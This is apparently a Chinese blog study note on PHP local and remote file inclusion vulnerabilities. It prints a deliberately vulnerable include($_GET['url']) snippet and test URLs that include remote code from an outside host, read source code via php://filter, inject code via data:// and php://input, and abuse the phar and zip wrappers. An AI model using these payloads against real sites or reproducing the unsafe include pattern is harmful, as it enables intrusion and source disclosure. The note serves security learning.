0
点赞
收藏
分享

微信扫一扫

文件包含漏洞(include)-学习笔记

舍予兄 2022-11-16 阅读 177


简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

PHP Stream(流)

属性

支持

受限于 ​​allow_url_fopen​​

NO

受限于​​allow_url_include​​

仅 php://input、 php://stdin、 php://memory 和 php://temp。

允许读取

仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。

允许写入

仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp。

允许追加

仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp(等于写入)

允许同时读写

仅 php://fd、 php://memory 和 php://temp。

支持 ​​stat()​​

仅 php://memory 和 php://temp。

支持 ​​unlink()​​

No

支持 rename()

No

支持 mkdir()

No

支持 rmdir()

No

仅仅支持 stream_select()

php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。

PHP文件包含漏洞

分类

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏
洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,
因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

allow_url_fopen = On
allow_url_include = On

两个配置选项均需要为​​On​​,才能远程包含文件成功。

php:// — 访问各个输入/输出流(I/O streams)
php中引发文件包含漏洞的通常是
以下四个函数:

  • include()
  • include_once()
  • require()
  • require_once()

举例

解析txt

​include​​可以包含文件,如txt文本格式,并把包含的文件当作php代码解析执行。

test.php

<?php
include "1.txt";

1.txt:

<?php
phpinfo();

文件包含漏洞(include)-学习笔记_f5

<?php
include $_GET['url'];

包含服务器文件

访问:​​http://xx/test.php?url=1.txt​​跟上面一样。
配置:

allow_url_fopen = On
allow_url_include = On

访问:​​http://test/test.php?url=http://www.baidu.com​

文件包含漏洞(include)-学习笔记_文件包含_02

包含本地文件

访问:​​http://test/test.php?url=file:///D:/test/1.txt​​ 利用条件:php版本大于等于php5.3.0phar://

test.php?file=phar://test.zip/phpinfo.txtzip:// 
test.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

文件包含漏洞(include)-学习笔记_php_03


访问:​​http://test/test.php?url=http://v.f5.ink/i​​​ http://v.f5.ink/i下载的文本内容为:​​

include # F5.ink
<?PHP
phpinfo();
?>

文件包含漏洞(include)-学习笔记_f5_04

发送post请求php://input

文件包含漏洞(include)-学习笔记_php_05

火狐浏览器插件hackbar:
​​​ https://addons.mozilla.org/en-US/firefox/addon/max-hackbar/?src=search​​

读取php代码:

php://filter/read=convert.base64-encode/resource=test.php
访问:​​http://test/test.php?url=php://filter/read=convert.base64-encode/resource=test.php​​ 不受allow_url_include限制
base64解密:

echo "PD9waHANCmluY2x1ZGUgJF9HRVRbJ3VybCddOw0KPz4=" | base64 -d

data base64

http://test/test.php?url=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://test/test.php?url=data:text/plain,%3C?php%20phpinfo();?%3E

利用条件:php版本大于等于php5.2、​​allow_url_fopen = On​​​、​​allow_url_include = On​

文件包含漏洞(include)-学习笔记_文件包含_06


图片也一样

​​ http://tool.chinaz.com/tools/imgtobase/​​

参考

​​http://f5.ink:50001/index.php​​


举报

相关推荐

0 条评论